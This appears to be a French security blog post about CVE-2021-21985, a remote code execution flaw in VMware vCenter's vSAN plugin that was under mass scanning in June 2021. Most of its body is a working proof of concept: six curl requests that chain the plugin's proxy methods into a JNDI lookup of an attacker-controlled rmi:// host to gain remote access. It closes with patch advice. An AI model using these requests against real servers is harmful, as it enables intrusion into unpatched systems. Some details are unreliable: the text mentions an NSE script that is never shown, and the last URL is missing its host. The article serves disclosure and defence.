11 juin 2021

La CVE 2021-21985 impactant les vCenter VMware est sous scan massif pour les serveurs exposés sur internet

https://img2.helpnetsecurity.com/posts2020/vmware-logo.jpg

Le 25 mai 2021, l’éditeur VMware avait publié un article sur une nouvelle vulnérabilité affectant le plugin Virtual SAN Health Check qui est activé par défaut sur vCenter Server. La nouvelle vulnérabilité identifiée (CVE 2021-21985) permet à un attaquant avec des privilèges non restreints sur le serveur qui héberge vCenter, l’exécution de commandes à distance.

Détection

Afin de comprendre les prémisses de cette vulnérabilité, nous pouvons noter que l’honeypot (un serveur connecté à Internet exécutant une version obsolète de VMware vCenter afin de surveiller l’analyse et l’exploitation active de cette vulnérabilité) d’un chercheur de chez Bad Packets avait détecté des activités malicieuses exploitant cette vulnérabilité sur son serveur. Depuis, la firme Bad Packet continue d’émettre des alertes concernant des scans massifs provenant d’autres pays qui tenteraient d’exploiter cette vulnérabilité.

Preuve de concept 

Pour exploiter cette vulnérabilité, il faut commencer par modifier l’état de la classe setTargetObject en « null » :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

Ensuite, il faut définir l’état de la classe setStaticMethod avec notre charge utile :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

On insère « dolookup » dans le paramètre methodinput pour setMethodTarget :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

On ajoute ensuite notre charge utile sur setArguments via le paramètre methodinput :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/bssi\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

On initie les classes et méthodes pour la charge utile :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

Enfin on exécute la charge utile qui donnera un accès à distance sur le serveur :

curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https:// ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

Il existe un script NSE disponible sur Nmap pour savoir si un vCenter Server est vulnérable à cette RCE :

Conclusion

Afin de pallier cette vulnérabilité, il est fortement recommandé de mettre à jour son Vmware vCenter Server vers la version 7.0 U2b, 6.7 U3n, 6.5 U3p, 4.2.1 et 3.10.2.1. Toutes les informations complémentaires concernant la vulnérabilité ainsi que les versions impactées sont disponibles dans la note VMSA 2021-0010 émise par VMware.https://www.vmware.com/security/advisories/VMSA-2021-0010.html

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *